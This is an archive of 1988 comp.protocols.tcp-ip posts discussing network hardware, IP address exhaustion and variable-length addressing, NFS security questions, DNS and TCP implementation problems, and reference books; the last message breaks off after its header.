-----------[000047][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 15:33:05 GMT
From:      tom@tut.cis.ohio-state.edu (Tom Easterday)
To:        comp.protocols.tcp-ip
Subject:   Retix Bridges experiences?


  We have puchased 6 Retix bridges for our department and will purchase
  more soon, we also recommend to other departments on campus looking
  for bridges that they purchase Retix's product.  We have had them in
  place for about 5-6 months and have not had a failure.  We did limited
  testing of throughput when we evaluated the bridge and they seem to
  handle the load as spec'd.  As far as management capablities go, we
  had a unit with the network management software implmented for
  evaluation.  It was nice except that our Proteon routers will not pass
  ISO protocols which the Retix uses in its net management software.  So
  we are not using the network management software (maybe someday...).
  The price is very deceiving ($16XX range in quantity), in my opinion
  definately a good value.

				 Tom Easterday
				 The Ohio State University
				 Instruction and Research Computer Center
				 (614) 292-4843

-----------[000048][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 17:58:22 GMT
From:      Mills@UDEL.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  Running out of Internet addresses?

Vint,

You may have heard me honk this subject before, but my feeling is to
byte the bullet and adopt variable-length type-E addresses and encode
them as per ISO NSAP. From my implementation esperience variable-length
addresses are maybe a little awkward, but not really hard when compared
to variable-length options, etc. The ISO NSAP addressing format includes
a length/format identifier, so it is in principle possible to adopt this
format, even if the format is not completely decoded by all gateways,
by teaching the header-parser code how to leapfrog the address field
in order to parse the options. The big win in my view is the possibility
of carrying additional baggage, such as authority, policy and so forth
encoded in the address field (perhaps in the IDP field).

In my opinion we should face this issue squarely and right now. A statement
like: in the future the Internet may be forced to adopt variable-length
addressing. If so, it will be expressed in an ISO encoding as a type E
format (at least the high-order three bits). Host and gateway implementors
should bear this in mind as they implement header-parsing algorithms and
data structures. Or something like that.

Dave

-----------[000049][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 00:30:00 EST
From:      <enger@gburg.scc.com>
To:        "tcp-ip" <tcp-ip@sri-nic.arpa>
Subject:   Protocol Sensitive Routers ("mailbridges")

The Internet seems highly predisposed towards the notion of peer to peer
computer networking.  In this spirit, the underlying networks are only relied
on to provide minimal service to the end-to-end upper-layer protocols.  The
"end systems" (hosts) have most of the smarts, not the underlying networks. 

Given this, it seems incongruous to desire to impose filtering based on upper-
layer protocol types within the underlying (inter)network(s).  It would seem
that the program is being advanced  to protect hosts with feeble-minded
network software implementations, or operating systems. 

Instead  of turning the Internet into a rest-home for elderly software,
perhaps the users of the Internet would be better served by expediting a
program to refurbish these "network simps" to harden them against attacks from
Wandering Wizards and the like? 

Bob Enger

-----------[000050][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 23:26:06 GMT
From:      dpl@cisunx.UUCP (David P. Lithgow)
To:        comp.unix.wizards,comp.protocols.tcp-ip
Subject:   NFS security

-----------
To all networking afficionados,

	I'm looking for information/scripts/code on determining the
level of security of Ultrix and other BSD-compatible systems vis-a-vis
NFS access.  I'm hoping that something is out there which would assist in
keeping this system secure against intrusion and also be a tool for new
Sun workstations coming online - to make sure that the new system
administrator has secured the appropriate partitions in /etc/exports, among
other things..

	Is /etc/exports the only nfs security mechanism between the
world and the workstation user?

	If you have any references, or experiences, please pass them
along, and I will summarize interesting results back to the net.
--
David P. Lithgow                Sr. Systems Analy./Pgmr., Univ. of Pittsburgh
USENET:  {allegra,bellcore,ihpn4!cadre,decvax!idis,psuvax1}!pitt!cisunx!dpl
CCnet(DECnet): CISVM{S123}::DPL       BITnet(Jnet):  DPL@PITTVMS

-----------[000051][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 00:59:12 GMT
From:      shore@adobe.com (Andrew Shore)
To:        comp.protocols.tcp-ip
Subject:   wanted - gateway experiences/reviews


We are shopping around for an ethernet-based IP gateways.

Convince me if I'm wrong-headed, but we are interested in dedicated gateway 
machines, not slipping another ethernet interface into some general 
purpose server (that's what I have now).

I'm interested in hearing accolades and horror stories from YOU on the net.

The devices I'm most interested in currently are from Network Systems 
and Cisco. Let me know about these and others too.

I'd like to know about:
	price $$
	overall performance
	ease of installation/use/administration/troubleshooting
	reliability
	caracteristics (how many ethernets, how much memory, packets/sec...)
	special features: i.e., does it act as a gateway/bridge for other 
		protocol families: DECNET, ETHERTALK, XNS, ???
	connections to other physical media: fiber optic, etc.
	anything I've missed

I'll summarize for the net if it seems worth it.

--Andy Shore
  shore@adobe.com
  {decwrl,sun}!adobe!shore

-----------[000052][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 05:30:00 GMT
From:      enger@GBURG.SCC.COM
To:        comp.protocols.tcp-ip
Subject:   Protocol Sensitive Routers ("mailbridges")


The Internet seems highly predisposed towards the notion of peer to peer
computer networking.  In this spirit, the underlying networks are only relied
on to provide minimal service to the end-to-end upper-layer protocols.  The
"end systems" (hosts) have most of the smarts, not the underlying networks. 

Given this, it seems incongruous to desire to impose filtering based on upper-
layer protocol types within the underlying (inter)network(s).  It would seem
that the program is being advanced  to protect hosts with feeble-minded
network software implementations, or operating systems. 

Instead  of turning the Internet into a rest-home for elderly software,
perhaps the users of the Internet would be better served by expediting a
program to refurbish these "network simps" to harden them against attacks from
Wandering Wizards and the like? 

Bob Enger

-----------[000053][next][prev][last][first]----------------------------------------------------
Date:      Wed, 07 Dec 88 14:46:28 -0500
From:      "Alan R. Hill" <ahill@bbn.com>
To:        the terminal of Geoff Goodfellow <geoff@Fernwood.MPK.CA.US>
Cc:        tcp-ip@SRI-NIC.ARPA
Subject:   Re: ARPANET/MILNET mailbridge conspiracy?
Geoff,
	This state was the result of a directive from DCA.  I don't
agree with their decision but we had to operate under a gag order.
I feel that DCA's action makes them almost as culpable as the
originator of the attacks but they persist on doing it this way.
You are free to use this information but don't identify your source.

Alan
-----------[000054][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 09:31:12 GMT
From:      eshop@saturn.ucsc.edu (Jim Warner)
To:        comp.protocols.tcp-ip
Subject:   Re: Retix Bridges experiences?

In article <89@stanton.TCC.COM> donegan@stanton.TCC.COM (Steven P. Donegan) writes:
>
>Peter (and others) the answers to your questions are:
>
>1)They (Retix bridges) are less expensive than DEC LANBRIDGE
>  units. Their capability is
>  100% when doing a black-box/learning bridge function.

I have no complaint with the claim of excellent price:performance
relative to DEC.  The Retix box is good hardware.  Users should be
aware, however, that DEC bridges run a spanning tree algorithm that
allows them to be wired up in an arbitrary topology including loops.
Some of the DEC bridges will place themselves in standby mode and
only activate themselves if one of the other bridges or links fails.
Retix bridges don't run a spanning tree alogrithm and if you
inadvertantly form a loop, you'll find out about it in a hurry. :+)


jim warner
u.c. santa cruz

-----------[000055][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 13:25:02 GMT
From:      honey@mailrus.cc.umich.edu (peter honeyman)
To:        comp.unix.wizards,comp.protocols.tcp-ip
Subject:   Re: NFS security

... and other oxymorons.  followup to rec.humor.

	peter

-----------[000056][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 16:19:26 GMT
From:      mo@prisma.UUCP (Mike O'Dell)
To:        comp.protocols.tcp-ip
Subject:   Variable length addresses

Has anyone considered the performance hit by doing this?
My guess is that it will be non-trivial.  One could argue
that 96 bits is easily enough (fixed size) since that number
is big enough to enumerate some very sustantial fraction of all
the subatomic particles in the known universe.

	"If it's variable, it probably ain't fast."

		-Mike O'Dell

-----------[000057][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 1988 21:44-EST
From:      CERF@A.ISI.EDU
To:        gutman@MANTA.NOSC.MIL
Cc:        hal@GATEWAY.MITRE.ORG, tcp-ip@SRI-NIC.ARPA
Subject:   Re:  low speed tcp
XTP was designed for general end/end transport over very
high speed channels.

Vint
-----------[000058][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 1988 21:50-EST
From:      CERF@A.ISI.EDU
To:        prisma!mo@UUNET.UU.NET
Cc:        tcp-ip@SRI-NIC.ARPA
Subject:   Re: Variable length addresses
Mike,

the performance question is what caused us to select a fixed
length, 32 bit address in the version 4 IP. Your question
is a good one and I wonder whether anyone has hard data for the
OSI IP version which does use a variable length address format.

It seems clear that we must give serious thought, though, to
a substantial increase in the number of networks addressable
within the IP scope if we are to scale to the size of the
global ISDN, for instance.

Vint
-----------[000059][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 18:32:08 GMT
From:      mckee@MITRE.ARPA (H. Craig McKee)
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

>In my opinion we should face this issue squarely and right now. A statement
>like: in the future the Internet may be forced to adopt variable-length
              ^^^^^^              ^^^
Dave/Vint/et al - We should be more definite than that, I suggest:
 
During the next five years, the Internet IAB will require a transition
to the use of variable-length addressing as described in RFC 1008.
Host and gateway implementors should begin development of appropriate
header-parsing algorithms and data structures.

Regards - Craig 
(standard disclaimer)

-----------[000060][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 19:08:45 GMT
From:      ittai@VX2.GBA.NYU.EDU (Ittai Hershman)
To:        comp.protocols.tcp-ip
Subject:   Ungermann-Bass terminal servers and DNS

In release 1 of UB's NETONE/TCP product for terminal servers, 
which relied on IEN-116 name servers, there was a configuration
option for a default domain name.  In release 16, which now uses
DNS, this configuration option was removed.

End-users must now use fully-qualified hostnames for local (intra-
domain) hosts.  This is unacceptable to us.

We have worked around the problem, for the moment, by using Bind's
"domain" option.  But, the Bind 4.8 documentation explicitly warns
that "this is an obsolete facility which will be removed from future
releases".

One of our networking people contacted UB Customer Support who
apparently wouldn't even acknowledge that this was a problem.
Our local support person was also contacted and promised "to get
back to us".

Perhaps someone at UB engineering is listening.  If not, caveat emptor.

-Ittai

PS: Ron, does Rutgers still have these boxes?  Are there any other
    NIU-1x0 customers out there?

-----------[000061][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 20:10:59 GMT
From:      jordan@zooks.ads.com (Jordan Hayes)
To:        comp.unix.wizards,comp.protocols.tcp-ip,comp.protocols.nfs
Subject:   Re: NFS security

peter honeyman <honey@citi.umich.edu> writes:

	... and other oxymorons.

not necessarily.  certainly things along the lines of using kerberos
for the authentication and fixing your mountd and running fsirand,
etc.  go a long way toward cleaning up the nfs act on a unix box.  as
to *how* to do this, or (better) to make the stuff from sun out of the
box do this, send followups to sun!sunbugs and comp.protocols.nfs ...

/jordan

-----------[000062][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 22:34:25 GMT
From:      hedrick@geneva.rutgers.edu (Charles Hedrick)
To:        comp.protocols.tcp-ip
Subject:   a new address format: ya gotta be kidding

I am very negative towards the idea of a new IP protocol.  I think if
we're going to go to variable format addresses, we might as well use
ISO IP.  After all, that seems to be the major difference.  A new IP
with ISO address formats seems to add yet another protocol when we're
having enough trouble getting two protocols right.  I propose that we
adopt the following policy: Until half of the network numbers of any
class, we continue the current policy of encouraging all IP users to
get their own network number.  When half of the class B or class C
addresses have been given out, the IAB should reevaluate the
situation, and adopt more restrictive policies, such as giving out
official network numbers only to those connected to the Internet.

-----------[000063][next][prev][last][first]----------------------------------------------------
Date:      7 Dec 88 23:22:32 GMT
From:      lear@NET.BIO.NET (Eliot Lear)
To:        comp.protocols.tcp-ip, Mills@UDEL.EDU
Subject:   Use of Class E addresses

What about using Class E addresses to partition the rest of the
address space by network.  This would work as follows:

First, to handle a class E address, take three bytes of network data
store them, and refer to an additional 4 bytes of data whose meaning
would follow the same rules as the first 4 bytes.  That is - class A,
class B,..., and Class E.  This way, you can chain addresses.

Given a Class E address, consider the first three network octets as a
network identifier on a slightly more global scale - allow them to
identify internets.  Allow large network gateways to advertise those
first three bytes, instead of all of the networks currently being
advertised.  For example, let the milnet bridges advertise some class
E address instead of net 26 and all of the networks connected to net
26.  If an address is not class E, assume it is meant for the local
internet.  [The term ``local internet'' is sort of hard to fathom.]

This should also allow for a smooth upgrade path, as noone should be
affected as long as the existing networks are still advertised and
addresses aren't reused.

Whatya think?

Eliot
-- 
Eliot Lear
[lear@net.bio.net]

-----------[000064][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 02:44:00 GMT
From:      CERF@A.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  low speed tcp

XTP was designed for general end/end transport over very
high speed channels.

Vint

-----------[000065][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 02:50:00 GMT
From:      CERF@A.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re: Variable length addresses

Mike,

the performance question is what caused us to select a fixed
length, 32 bit address in the version 4 IP. Your question
is a good one and I wonder whether anyone has hard data for the
OSI IP version which does use a variable length address format.

It seems clear that we must give serious thought, though, to
a substantial increase in the number of networks addressable
within the IP scope if we are to scale to the size of the
global ISDN, for instance.

Vint

-----------[000066][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 03:31:12 GMT
From:      kwe@bu-cs.BU.EDU (kwe@bu-it.bu.edu (Kent W. England))
To:        comp.protocols.tcp-ip
Subject:   Re: Ungermann-Bass terminal servers and DNS

In article <CMM.0.88.597524925.ittai@vx2.GBA.NYU.EDU>
 ittai@VX2.GBA.NYU.EDU (Ittai Hershman) writes:
>In release 1 of UB's NETONE/TCP product for terminal servers, 
>which relied on IEN-116 name servers, there was a configuration
>option for a default domain name.  In release 16, which now uses
>DNS, this configuration option was removed.
>
>End-users must now use fully-qualified hostnames for local (intra-
>domain) hosts.  This is unacceptable to us.
>
>Perhaps someone at UB engineering is listening.  If not, caveat emptor.
>
	The U-B User Group is listening, at least one member is (me).

	I am willing to forward specific requests to U-B at the next
User Group on behalf of members of the internet community as part of
my function on the Technical Advisory Group.  The next meeting is at
the end of January.  Of course, all U-B users are invited to come to
Monterey and participate.

	I am planning to migrate my XNS NIU-180/130s to TCP and
appreciate hearing about the residual problems with the U-B s/w.

	I understand (from U-B people at InterOp) that they have a
problem with the resolver not accepting nonauthoritative responses.

	I would love to put together a list of "bugs" to take to U-B.
It is my general understanding that most of the problems remaining in
the U-B functionality (as with most other vendors) is in the DNS part,
the resolver, and in booting/network management functionality.

	There is also a bitnet list (NETONE@UKCC) that is specifically
for Ungermann-Bass Users, if anyone is interested.

	You may email direct to me at:

	kwe@bu-it.bu.edu
	itkwe@buacca on bitnet   [you run tcp/telnet?]

	Thanks.

-----------[000067][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 04:11:11 GMT
From:      haven!aplcen!aplcomm!trn%aplcomm.jhuapl.edu@mimsy.umd.edu  (Tony Nardo)
To:        tcp-ip@sri-nic.arpa
Subject:   Is someone playing games with the MILNET/ARPANET interface?
I am on a MILNET site.  I have noticed three times in the past week (and
twice in the past two days) that, while I can not reach a site directly, I
*can* reach it thru BRL.ARPA.  For example,

	finger @maryland.arpa

will come back with a "Network is unreachable" response, but

	finger @maryland.arpa@brl.arpa

gives the desired "finger" output.  Likewise, while I can't send mail directly
to a site without it languishing in a mail queue (the name server can't connect
to resolve the address), I *CAN* send the mail thru BRL.ARPA.

This situation did not arise until CNNC's decision to yank the MILNET/
ARPANET link for "technical difficulties".  The first two times, the problem
eventually "cleared itself".  This is the third time the problem has arisen.


Is someone still playing games with the MILNET/ARPANET interface?  From my
rather untutored perspective, it looks as if "routed" is dying or being
deliberately killed somewhere.

Anyone have any insights?

================================================================================
ARPA, BITNET:	trn@aplcomm.jhuapl.edu		(when things are OK)
		aplcomm!trn@mimsy.umd.edu	(when things are out of whack)
UUCP:		{backbone!}mimsy!aplcomm!trn

These are my opinions and observations, not necessarily those of my employers.
================================================================================
-----------[000068][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 14:16:27 GMT
From:      mhw@wittsend.LBP.HARRIS.COM (Michael H. Warfield (Mike))
To:        comp.protocols.tcp-ip
Subject:   Re: EDI spec

In article <wXazaey00ja9A7Mldu@andrew.cmu.edu> leong+@ANDREW.CMU.EDU (John Leong) writes:
>Any idea where I can get my hand on a copy of the EDI (Electronic Data
>Interchange) specification.  This seems to be one of those de-facto standard (?)
>protocols that have gained wide spread usage suddenly.

     And a copy to me at mhw@wittsend.UUCP if someone would please.

     BTW Anyone have a suggestion for a more appropriate group for this?  My
site has considerable interest in EDI but none of the present news.groups
appear to quit fit the bill.  Thanks in advance.

---
Michael H. Warfield  (The Mad Wizard)	| gatech.edu!galbp!wittsend!mhw
  (404)  270-2123 / 270-2098		| mhw@wittsend.LBP.HARRIS.COM
An optimist believes we live in the best of all possible worlds.
A pessimist is sure of it!

-----------[000069][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 15:59:07 GMT
From:      amdahl!pacbell!pbseps!rdp@ames.arc.nasa.gov  (Richard Perlman)
To:        tcp-ip@sri-nic.arpa
Subject:   Telnet emulation of DG Dasher terminal
??
Has anyone out there seen an implementation of telnet that 
emulates a Data General Dasher terminal (D-200, 210, 211,
400, 410 etc, etc.).

Replies prefered by E-mail, since this topic is propably not of
great interest.

-- 
Richard Perlman * pbseps!rdp@PacBell.COM || {ames,sun,att}!pacbell!pbseps!rdp
180 New Montgomery St. rm 602,  San Francisco, CA  94105  |*|  (415) 545-0233
-----------[000070][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 16:03:06 GMT
From:      syackey@entec.Wichita.NCR.COM (Steve Yackey)
To:        comp.protocols.tcp-ip
Subject:   mil stds vs. rfc's



We are trying to develop a conformance test "strategy" for our tcp/ip
based network products. This includes tcp and ip as well as some standard
applications like smtp, ftp, telnet etc... Questions came up like -
Should we test for conformance with the mil-stds or the rfc's ?
Is there significant difference between the two ?
Is there a notion that one is "better" than the other ?
If there is a difference, how are these resolved (who changes)?

thanx,
yackman

pcfsomh.

-----------[000071][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 16:10:20 GMT
From:      rdp@pbseps.UUCP (Richard Perlman)
To:        comp.protocols.appletalk,comp.protocols.tcp-ip,comp.dcom.lans
Subject:   Netway 3270 controller

-
We are looking for a 3270 controller that is accessable by LAN
from MS-DOS PCs and Macs.  Netway has a product for AppleTalk
that provides just such a service for ~$4k for 16 sessions.  
The current box only works on LocalTalk but supports ethernet
based PCs through a Kinetics FastPath or similar bridge.
(Direct ethernet support available "real soon now.")

The controller supports SNA and the PC/Mac software allows
multiple sessions (8 on the Mac, 6 on the PC) plus file transfer
and printer support.

Have any of you had experience with this product, or do you know
of a similar one that I should be looking at.

-- 
Richard Perlman * pbseps!rdp@PacBell.COM || {ames,sun,att}!pacbell!pbseps!rdp
180 New Montgomery St. rm 602,  San Francisco, CA  94105  |*|  (415) 545-0233

-----------[000072][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 16:35:38 GMT
From:      tomc@dftsrv.gsfc.nasa.gov (Tom Corsetti)
To:        comp.protocols.tcp-ip
Subject:   tcpdump on a sun 4

Hi!
I've been using tcpdump for network monitoring on a sun 3.  It
has helped me to identify some problems in our building
ethernet.  There are other buildings on our campus, each with
it's own ethernet isolated behind a smart bridge from the
broadband traffic.  I would like to install tcpdump on a
Sun 4 in another building.  I got the source code package,
started reading the "README" file, and discovered that I
need to modify the source for both sunos 4.0 and a sun 4
architecture.  Has anyone out there done this work yet?
If you have, I would really appreciate hearing from you.
I might even put you in my will if you've got the answer :-)
Thanks in advance!
                              - Tom Corsetti
                                tomc@dftsrv.gsfc.nasa.gov

-----------[000073][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 18:20:35 GMT
From:      billk@meph.UUCP (Bill Kasper)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip documentation

Reply to: <206@hrdwre.Cambridge.NCR.COM>
Date: 2 Dec 88 13:49:11 GMT

>Can anyone recommend to me a good reference book that covers the tcp-ip 
>protocol?  I am interested in using tcp-ip to connect the various platforms
>in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
>Towers (Unix-based, 68020).  Any information to help me get started would be
>appreciated!

THE comprehensive document set is called the Protocol Handbook.
It is a three volume set that sells for $110.00 from the following folks:

SRI International
Network Information Center
Room EJ291
333 Ravenwood Ave.
Menlo Park, Ca. 94025

phone #: 1-800-235-3155


-------------------------------------------------------------------------------
"Sorry Venkman, I'm terrfied beyond the capacity for rational thought."
-- Egon Spengler

Disclaimer: I meant what I said and I said what I meant, 
            responsibility is mine 100%.
-------------------------------------------------------------------------------

-----------[000074][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 19:21:38 GMT
From:      Makey@LOGICON.ARPA (Jeff Makey)
To:        comp.protocols.tcp-ip
Subject:   Re: Variable length addresses

In article <8812071620.AA06614@uunet.UU.NET> mo@prisma.UUCP (Mike O'Dell) writes:
>One could argue
>that 96 bits is easily enough (fixed size) since that number
>is big enough to enumerate some very sustantial fraction of all
>the subatomic particles in the known universe.

I whipped out the ol' calculator, and determined that 53 bits is more
than enough to enumerate each square foot of the Earth's surface.  How
many Earth-sized planets to we expect to populate in the future?  128
million?  Add another 27 bits for a total of 80.  Another 16 bits will
make room for 64K hosts per square foot (455 per square inch), and you
get a 96-bit internet address.

Not what I'd call a "very sustantial fraction of all the subatomic
particles in the known universe", but it sounds big enough for an
internet.  Just for safety, though, throw in an extra 32 bits for a
total of 128.  Nice, simple, fixed-length processing.  A mere 16
octets per address.  This should keep us out of trouble until at least
the year 2001.  :-)

                           :: Jeff Makey

Department of Tautological Pleonasms and Superfluous Redundancies Department
    Disclaimer: Logicon doesn't even know we're running news.
    Internet: Makey@LOGICON.ARPA    UUCP: {nosc,ucsd}!logicon.arpa!Makey

-----------[000075][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 21:22:16 GMT
From:      joshua@athertn.Atherton.COM (Sleaze Hack)
To:        comp.protocols.tcp-ip
Subject:   Writing more than 2K to a TCP socket

I'm having trouble sending large blocks of data through a TCP socket.
When I use this code:

	size = 16 * 1024 ;
	stat = write(tcp_sock, buffer, size)

Bad things happen.  Depending on the exact value of size, I get a stat
of -1, or the write just freezes, or the data sent gets zero'ed. If
size is set to 2K or less everything works fine.  I'm using a Sun 3/140
with SunOS 3.4, but the solution to this problem should be portable to
SunOS 3.X, SunOS 4.X, Ultrix 2.X, and Wollengong/VMS, or at least not
break anything in those environments.

Currently, I have a for loop which breaks large packets up, and sends them
in 2K chunks.  This works.  It would be nice if I could speed up the
resulting code, however.  I'm hoping that fewer, larger write calls will
be faster, if I can make it work.  If there are other TCP speed ups, I'd
like to hear about those, also.  Thanks.

Does this problem have anything to do with the "high water mark" which
TCP(4) says has not yet been implemented?

Josh
--------                Quote: "Oh no! Its the ioctl call from Hell!"
Addresses:                      
joshua@atherton.com OR         
sun!athertn!joshua  OR                 
{backbone}!{decwrl!hpda}!athertn!joshua  work:(408)734-9822 home:(415)968-3718

-----------[000076][next][prev][last][first]----------------------------------------------------
Date:      8 Dec 88 22:50:12 GMT
From:      nick@spider.co.UK (Nick Felisiak)
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

In message [A.ISI.EDU]28-Nov-88 18:47:32.CERF, Vint Cerf writes:
> 
> New versions of anything are always tricky. I'd like to hear from
> some LAN analyzer vendors how they feel about variable versus
> fixed length addressing; ditto the IP and TCP level programmers.
>
> [...]
> 
> Vint
> 

We decode TCP-IP headers in the Spidermonitor.  Handling variable length
decodes is not in itself a problem.  The hard part is setting up filtering
criteria based on variable length stuff.  It is difficult to present
the user with an easy to use template which will cope with a variable length
field, and to have the time critical code which accepts or rejects packets
do enough decode to find the right field before comparing it.

Consequently, using the Decnet template, the user gets less help in setting
up a trace, although the packets are correctly decoded when displayed.

Nick Felisiak			nick@spider.co.uk
Spider Systems Ltd

-----------[000077][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 00:30:00 GMT
From:      cazares@ismdqa.intel.com (Leo Cazares ~)
To:        comp.protocols.tcp-ip
Subject:   TCP timeout problem

I am running a VAX 11/750 under Ultrix 2.2 and I have been experiencing
problems when sending messages over 1k bytes to other Ultrix nodes
at remote sites.

I get timeout problems when using sendmail, ftp, or rcp.  I have no
problem sending short messages (about 500 bytes), and I can rlogin with
no problem.

Faster machines at our site have no problems sending large files
(over 10K) to remote nodes so I believe this may be due to the speed
of our cpu.

I can also use DECnet protocol to get to the remote Ultrix machines and
I have no problem sending large files via DECnet mail (mail11) and
dcp, so I think this is a TCP problem.

Any clues????

-Leo Cazares@ Intel Santa Clara

-----------[000078][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 00:52:22 GMT
From:      hal@GATEWAY.MITRE.ORG (Hal Feinstein)
To:        comp.protocols.tcp-ip
Subject:   slow TCP



A few weeks ago I put up a query about slow TCP.  My thanks to those
who replied.  A few have asked me to see the replies so I provide a
sample of each for the record.
The original problem we faced was a non-cooperative link media which
simply refused to be tamed. Now every bit becomes hard to move from 
one side of the network to the other.  Its expensive to devote much 
bandwidth to upper layers but we need end-to-end reliability.
What to do?

People suggested looking at SLIP.
(cblank@mitre.gateway.org, hooper@mitre.gateway.org,
steve@mimsy.umd.edu, karn@ka9s.belcore.com)

A number sited Van Jacobsons work on head prediction
and compression.
(craig@nnsc.nsf.net, steve@umiacs.umd.edu)  

Employ circuit switching for reduced overhead.
(lazear@mitre.gateway.org)

Avoid TCP altogether, use the ISO transport instead...
(anonymous@osinet)

> ...I belive TCP is in fact one of the least inefficient
> protocols for the problem it tries to solve -- a highly
> reliable stream given a complex packet based internet with
> widely varying loss characteristics.
 (jqj@hogg.cc.uoregon.edu)

-----------[000079][next][prev][last][first]----------------------------------------------------
Date:      Fri, 9 Dec 88 13:55:53 EST
From:      "Drew M. Powles" <dpowles@ccd.bbn.com>
To:        tcp-ip@sri-nic.arpa
Cc:        dpowles@ccd.bbn.com
Subject:   seeking VMS mail
I'm not sure this is the appropriate forum, but here goes:

We're moving some of our mail accounts to a MicroVax under VMS.  We
use the Wollongong package to support all the relevant TCP/IP
protocols, including SMTP.  However, our problem is that VaxMail
itself doesn't really meet our needs.  It's interface to DoD protocol
suite is an afterthought, and it doesn't give you much flexibility to
deal with RFC 822-style headers and the like.  For instance, due to
this lack of integration, when sending to a list of recipients who are
both local and remote, messages passed to the foreign mailer for
remote recipients lose the names of the local recipients.

I'm sure there are plenty of people out there using VAX/VMS on the
Internet.  Can you give us any advice, or recommend alternate mail
packages?

many thanks,
Drew Powles
Columbia Professional Services
BBN Communications

dpowles@bbn.com

p.s.  I'll provide a synopsis for the group, so please send only to
me, and I'll send out the total results later.

-----------[000080][next][prev][last][first]----------------------------------------------------
Date:      Fri, 09 Dec 88 17:07:53 EST
From:      Mark Bodenstein <MAB@CORNELLC.ccs.cornell.edu>
To:        John Romkey <oli-stl!asylum!romkey@decwrl.dec.com>
Cc:        TCP-IP@SRI-NIC.ARPA
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)
> ...                                              Traffic lights on
>the Internet.  ...

Could they be used for flow control?  :-)

Mark Bodenstein   (mab@cornellc.cit.cornell.edu)
Cornell University
-----------[000081][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 13:51:55 GMT
From:      sscott@camdev.UUCP (Steve Scott)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip documentation

In article <00032@meph.UUCP> billk@meph.UUCP (Bill Kasper) writes:
>Reply to: <206@hrdwre.Cambridge.NCR.COM>
>Date: 2 Dec 88 13:49:11 GMT
>
>>Can anyone recommend to me a good reference book that covers the tcp-ip 
>>protocol?  I am interested in using tcp-ip to connect the various platforms
>>in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
>>Towers (Unix-based, 68020).  Any information to help me get started would be
>>appreciated!
>
>THE comprehensive document set is called the Protocol Handbook.
>It is a three volume set that sells for $110.00 from the following folks:
>
>SRI International
>Network Information Center
>Room EJ291
>333 Ravenwood Ave.
>Menlo Park, Ca. 94025
>
>phone #: 1-800-235-3155

There is also another very nice three set book called the "Handbook of
Computer Communications Standards" by William Stallings.  It is available
from the MacMillan Book Club (1-800-257-8345 - sorry, no address handy).

Volume 1 covers the OSI interconnection model and osi-related standards

Volume 2 covers local network standards

Volume 3 covers the DOD protocol standards

It sounds like volume 3 would help you (although there is much to be learned
from the other volumes)

I hope this has helped!


Steve Scott
{texbell!sscott}

#include standard/disclaimer.h

-----------[000082][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 15:36:00 GMT
From:      carlos@DEERVAX.CONCORDIA.CA (Carlos Perez)
To:        comp.protocols.tcp-ip
Subject:   RCP and LOTOS

1.  Has anybody tried to describe RCP using LOTOS, or try to relate
(incorporate) RCP the ISO scheme?. 

2. Is it reasonable to use 

		    ASN.1
		    -----
		    RPC
rather than:

		     XDR
		     ---
		     RPC 

a) what could be the constrains, advantages, disadvantages, etc?
b) Will combinig ASN.1 and RPC be a reasonable path to migrate
from TCP/IP to ISO?

Any Information on the above subjects will be very much appreciated.

-_-_-_
Carlos Perez, Systems Programmer                   
Concordia University                             
1455 de Maisonneuve Blvd. West                    
Montreal, Quebec, H3G 1M8                        
(514) 848-3107                                  
Internet: carlos@deervax.concordia.ca
UUCP  : ...watmath!deervax!carlos

-----------[000083][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 16:04:29 GMT
From:      HOSTMASTER@SRI-NIC.ARPA
To:        comp.protocols.tcp-ip
Subject:   Holiday Closing



Services provided by the NIC Hostmaster will be unavailable during SRI
International's annual year-end closing from December 26 through
January 2.  The last DoD Internet Host Table and root domain system
files to be generated before the closing will be available December
23.  There will be no 800 Hotline service, nor will there be any host,
domain, or internet number registration activity during the closing.
The NIC will resume normal services on January 3, and a new Host Table
will be available on January 5.

SRI-NIC.ARPA system operations will continue to be available
throughout the holiday closing, as will 24-hour access to online
files.  Automated online services such as WHOIS, NIC/Query, and
SERVICE will also continue to be available during the closing.

We wish you all a Happy Holiday season and best wishes for the coming
year.



-------

-----------[000084][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 18:19:00 GMT
From:      mja@TWG.COM (Mike Anello)
